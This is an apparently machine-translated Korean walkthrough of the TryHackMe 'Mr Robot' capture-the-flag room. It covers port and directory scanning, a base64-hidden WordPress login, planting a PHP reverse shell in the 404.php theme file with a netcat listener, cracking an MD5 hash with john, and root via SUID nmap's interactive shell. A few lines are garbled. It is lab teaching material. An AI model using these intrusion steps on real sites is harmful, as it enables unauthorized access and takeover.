Mr Robot CTF — Alsh의 글 | TryHackMe

Jan 15 2023
안녕하세요 여러분! 이것은 나의 첫 번째 글입니다. 당신이 그것을 좋아하고 유용하게 사용하기를 바랍니다. CTF에 대해 알아봅시다.

안녕하세요 여러분! 이것은 나의 첫 번째 글입니다. 당신이 그것을 좋아하고 유용하게 사용하기를 바랍니다. CTF에 대해 알아봅시다.

초기 열거

nmap부터 시작해 봅시다:

nmap -p- - min-rate 10000 10.10.251.161 -oN full_scan.txt

PORT   STATE  SERVICE
22/tcp  closed ssh 
80/tcp  open  http
443/tcp open  ssl/http

이러한 서비스에 대한 추가 정보를 얻으려고 노력해 보겠습니다.

nmap -p22,80,443 -sC -sV 10.10.251.161 -oN detail_scan.txt
PORT   STATE  SERVICE  VERSION 
22/tcp  closed ssh 
80/tcp  open  http   Apache httpd 
|_http-server-header: Apache 
|_http-title: Site doesn't have a title (text/html). 
443/tcp open  ssl/http Apache httpd 
|_http-server-header: Apache 
|_http-title: Site doesn't have a title (text/html). 
| ssl-cert: Subject: commonName=www.example.com 
| Not valid before: 2015-09-16T10:45:03 
|_Not valid after:  2025-09-13T10:45:03

미스터 로봇 — Key1

먼저 이 페이지를 표시하는 웹사이트에 액세스합니다.

웹사이트를 수동으로 탐색하는 동안 웹사이트에서 페이지를 찾기 위해 ffuf를 시작했습니다. 위의 이미지에 표시된 명령은 토끼 구멍입니다(btw 내용이 꽤 멋집니다!). ffuf의 결과를 확인해 봅시다.

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.251.161/FUZZ -t 40
images          [Status: 301, Size: 236, Words: 14, Lines: 8] 
login          [Status: 302, Size: 0, Words: 1, Lines: 1] 
sitemap         [Status: 200, Size: 0, Words: 1, Lines: 1] 
video          [Status: 301, Size: 235, Words: 14, Lines: 8] 
0            [Status: 301, Size: 0, Words: 1, Lines: 1] 
feed           [Status: 301, Size: 0, Words: 1, Lines: 1] 
atom           [Status: 301, Size: 0, Words: 1, Lines: 1] 
image          [Status: 301, Size: 0, Words: 1, Lines: 1] 
wp-content        [Status: 301, Size: 240, Words: 14, Lines: 8] 
admin          [Status: 301, Size: 235, Words: 14, Lines: 8] 
audio          [Status: 301, Size: 235, Words: 14, Lines: 8] 
intro          [Status: 200, Size: 496938, Words: 2076, Lines: 2028] 
wp-login         [Status: 200, Size: 2613, Words: 115, Lines: 53] 
css           [Status: 301, Size: 233, Words: 14, Lines: 8] 
rss2           [Status: 301, Size: 0, Words: 1, Lines: 1] 
license         [Status: 200, Size: 309, Words: 25, Lines: 157] 
wp-includes        [Status: 301, Size: 241, Words: 14, Lines: 8] 
js            [Status: 301, Size: 232, Words: 14, Lines: 8] 
Image          [Status: 301, Size: 0, Words: 1, Lines: 1] 
rdf           [Status: 301, Size: 0, Words: 1, Lines: 1] 
page1          [Status: 301, Size: 0, Words: 1, Lines: 1] 
readme          [Status: 200, Size: 64, Words: 14, Lines: 2] 
robots          [Status: 200, Size: 41, Words: 2, Lines: 4] 
dashboard        [Status: 302, Size: 0, Words: 1, Lines: 1]

사용자 에이전트: *
fsocity.dic
key-1-of-3.txt

첫 번째 파일은 사전이며 다음 단계에서 유용할 수 있습니다. 두 번째는 CTF의 첫 번째 키입니다.

07********************************b9

미스터 로봇 — Key2

내가 조사하는 다음 페이지는 분명히 / wp-login 으로 리디렉션되는 /login 입니다. 따라갈 수 있는 두 가지 경로가 있습니다. 무차별 대입 또는 로그인 양식을 우회하는 데 도움이 될 수 있는 다른 유용한 정보를 찾으십시오. ffuf에서 찾은 다른 페이지를 방문하여 유용한 정보를 검색하는 동안 양식을 무차별 대입하기 위해 배경 hydra에서 실행할 것입니다. 그들 중 대부분은 403 HTTP 오류를 보여 주지만 /readme 및 /license 두 페이지가 더 유망해 보입니다 . 첫 번째는 다음과 같이 말합니다.

나는 당신이 향하는 곳을 좋아합니다. 그러나 나는 당신을 돕지 않을 것입니다.

이 메시지는 이 경로를 계속하는 것을 방해할 수 있지만 두 번째 콘텐츠에 액세스하는 것은 다음과 같습니다.

언제 부터 스크립트 키티 가 되었습니까?

이 페이지에도 유용한 내용이 포함되어 있지 않은 것 같지만 위의 메시지 외에 페이지를 검사하면 base64 문자열이 표시됩니다.

디코딩된 결과는 다음과 같습니다.

엘리엇:ER28–0652

이러한 자격 증명으로 로그인에 성공하고 표시되는 페이지는 WordPress 대시보드입니다. 왼쪽 메뉴에는 사용 가능한 많은 옵션이 있습니다. 약간의 조사 후 Themes Editor에 중점을 두었습니다. 사실 웹 사이트에서 사용하는 테마 파일을 제한 없이 수정할 수 있다는 것을 알게 되었습니다. 내가 찾은 가장 쉬운 방법은 404 템플릿(보다 정확하게는 404.php)을 수정하고 기존 텍스트와 PHP 코드에 pentestomonkey 의 유명한 PHP 리버스 셸을 추가하는 것입니다 . 필요한 경우 여기에서 찾을 수 있습니다 . (부분적으로) 리버스 쉘 페이로드를 붙여넣은 후 404.php가 어떻게 보이는지 보여줍니다.

NB. IP 주소와 포트를 각각 tun0 주소 또는 공격 시스템 IP 주소와 리스너를 시작하는 포트로 변경해야 합니다.

그런 다음 변경 사항을 저장하고 내 컴퓨터에서 리스너를 시작합니다.

rlrwap nc -nlvp 9050

key-2-of-3.txt 비밀번호.raw-md5

나는 키를 cat하려고 시도했지만 Permission Denied 를 얻었습니다. 그런 다음 꽤 흥미로워 보이는 두 번째 파일을 cat하려고합니다.

로봇:c3fcd3d76192e4007dfb496cca67e13b

파일 이름도 정말 간단합니다. 첫 번째 생각은 john 을 사용 하여 이 비밀번호를 해독하는 것입니다. 또한 파일의 "확장자"는 해시 유형을 제안합니다.

john robot_pass.txt --format=raw-md5 
Using default input encoding: UTF-8 
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) 
Warning: no OpenMP support for this hash type, consider --fork=2 
Proceeding with single, rules:Single 
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status 
Almost done: Processing the remaining buffered candidate passwords, if any. 
Proceeding with wordlist:/opt/john/run/password.lst 
Enabling duplicate candidate password suppressor 
abcdefghijklmnopqrstuvwxyz (?)

82********************************59

미스터 로봇 — Priv Esc 및 Key3

마지막 키는 평소와 같이 THM의 방에 있는 /root 폴더 아래에 있으므로 마지막 키를 얻으려면 분명히 루트 권한이 필요합니다. 가장 먼저 시도하는 것은 권한 상승으로 이어질 수 있는 가능한 벡터를 찾기 위해 linpeas를 실행하는 것입니다. 그러나 출력을 제대로 읽을 수 없으므로 몇 가지 수동 검사를 수행합니다. 권한 에스컬레이션에 대한 올바른 방법을 찾으려고 몇 번의 시행착오를 거친 후 시스템의 바이너리에 SUID 권한이 있는지 확인하려고 합니다. 어느 것이 가장 적합한지 이해하기 위해 gtfobins에서 확인하는 다양한 바이너리를 찾았습니다. 나에게 가장 좋은 선택은 nmap 이었습니다 . 내가 사용한 명령은 다음과 같습니다.

nmap --interactive
nmap> !sh

그게 다야! 이것은 정말 재미있는 CTF였으며 내용은 매우 흥미로웠습니다. 이 멋진 방에 대해 TryHackMe에게 감사하고 글을 읽어 주셔서 감사합니다.